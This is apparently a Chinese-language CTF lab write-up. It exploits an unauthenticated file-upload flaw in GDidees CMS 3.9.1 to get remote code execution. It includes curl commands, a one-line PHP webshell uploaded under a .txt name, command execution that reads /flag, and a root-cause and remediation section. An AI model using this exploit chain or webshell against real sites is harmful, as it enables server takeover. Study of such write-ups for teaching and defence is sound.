Summary
目标站点 eci-2zec3pa117841orjh0pf.cloudeci1.ichunqiu.com 运行 GDidees CMS 3.9.1,存在 CWE-434 未限制危险文件类型上传漏洞。_admin/controls/upload_ressources.php 上传端点无需身份验证即可直接访问,通过上传 .txt 后缀的 PHP Webshell 绕过扩展名限制,最终在 Apache 配置缺陷的配合下实现 RCE 并读取 /flag。
Solution
Step 1: 发现未授权可访问的上传端点
对目标站点进行指纹识别,确认是 GDidees CMS 后,探测管理后台路径。意外发现 _admin/controls/upload_ressources.php 可以无需任何 session 或身份验证直接访问。
bash
curl -sk "https://eci-2zec3pa117841orjh0pf.cloudeci1.ichunqiu.com/_admin/controls/upload_ressources.php"
# 响应:<div id="titreAdmin">Echange de fichiers</div>...上传表单
Step 2: 分析上传限制并构造绕过
该端点有以下限制:
- 白名单仅允许:
.gif, .zip, .jpg, .jpeg, .pdf, .png, .txt - 文件名经过
strtr和preg_replace净化 - 上传路径:
../userfiles/uploadfiles/{$_SESSION['login']}/
绕过思路:将 PHP Webshell 以 .txt 后缀上传。关键是目标 Apache 配置中,上传目录 _admin/userfiles/uploadfiles/ 没有禁用 .txt 文件的 PHP 解析。
bash
# 生成 Webshell
echo '<?php system($_POST["cmd"]); ?>' > shell.php
# 上传文件(filename 设为 .txt)
curl -sk "https://eci-2zec3pa117841orjh0pf.cloudeci1.ichunqiu.com/_admin/controls/upload_ressources.php" \
-F "fichier_source=@shell.php;filename=shell.txt"
# 响应:L'upload du fichier a été effectué avec succès !
Step 3: 验证 Webshell 并获取 Flag
文件上传到 _admin/userfiles/uploadfiles/shell.txt,通过 POST 请求执行命令:
bash
TARGET="https://eci-2zec3pa117841orjh0pf.cloudeci1.ichunqiu.com"
SHELL="$TARGET/_admin/userfiles/uploadfiles/shell.txt"
# RCE 验证
curl -sk -X POST "$SHELL" -d "cmd=whoami"
# 输出: www-data
# 读取 Flag
curl -sk -X POST "$SHELL" -d "cmd=cat /flag"
Flag
flag{3da1b746-2e1f-47c8-a3ed-2146ee4b778f}
漏洞根因
| 层面 | 问题 |
|---|---|
| 代码层 | upload_ressources.php 仅通过 $_SESSION['login'] 构造上传路径,但未检查用户是否已登录;未授权用户可直接访问 |
| 配置层 | 上传目录 _admin/userfiles/uploadfiles/ 未禁用 PHP 解析,.txt 文件被 Apache 当作 PHP 执行 |
| 白名单层 | .txt 在白名单中,但实际应禁止所有可执行脚本类型 |
修复建议
-
上传端点添加认证检查:
if (!isset($_SESSION['connected']) || $_SESSION['connected'] !== true) { die('Unauthorized'); } -
上传目录添加
.htaccess禁用 PHP 解析:apache<FilesMatch "\.(txt|pdf|jpg|gif|png|zip)$"> SetHandler none Require all denied </FilesMatch> -
使用
finfo_file()验证文件真实类型,而非仅依赖扩展名